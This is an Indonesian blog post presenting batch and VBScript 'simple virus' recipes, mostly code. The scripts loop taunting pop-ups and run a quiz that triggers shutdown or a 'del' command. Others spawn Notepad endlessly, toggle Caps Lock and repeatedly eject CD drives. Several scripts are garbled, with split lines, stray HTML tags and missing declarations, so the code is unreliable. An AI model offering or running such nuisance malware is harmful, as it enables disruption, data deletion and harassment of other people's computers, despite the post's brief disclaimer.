Apa kabar semuanya..?? Semoga baik-baik saja ya, Amin..Dah lama banget nih ga' sempet online n ga' ngeposting. Kali ini saya akan berbagi informasi tentang cara membuat virus komputer sederhana. Dibaca dan di pahami baik-baik ya :
1. Message yg muncul terus menerus cara nya buka notepad lalu masukan script di bawah ini :
@ECHO off
:<br />
Begin<br />
msg * Lagi ngapain ?<br />
msg * Hayo buka apa ?<br />
msg * Nanti dimarahin ama mak loe<br />
msg * Makannya jangan sembrono !<br />
msg * minta bantuan gih sono !<br />
msg * Udah instal ulang aja !!!!<br />
msg * tit............................
GOTO BEGIN</div>
bisa dirubah sesuai keinginan anda! simpan dengan berekstensi .bat contoh fawaiqblog.bat
2. Pertanyaan menjebak, script nya :
@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
simpan dengan .bat contoh = fawaiqblog.bat
3. Membuka notepad terus-menerus, script nya :
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
sama simpan dengan .bat
4. Komputer mati sendiri dan ngirim message, script nya :
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
simpan dengan .vbs
5. Buka tutup cd room terus menerus, script nya :
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
simpan dengan .vbs
Selamat mencoba, tapi jangan di gunakan untuk kejahatan dan balas dendam. Semoga artikel tentang cara membuat virus komputer sederhana bisa bermanfaat.
Sumber : cyber4rt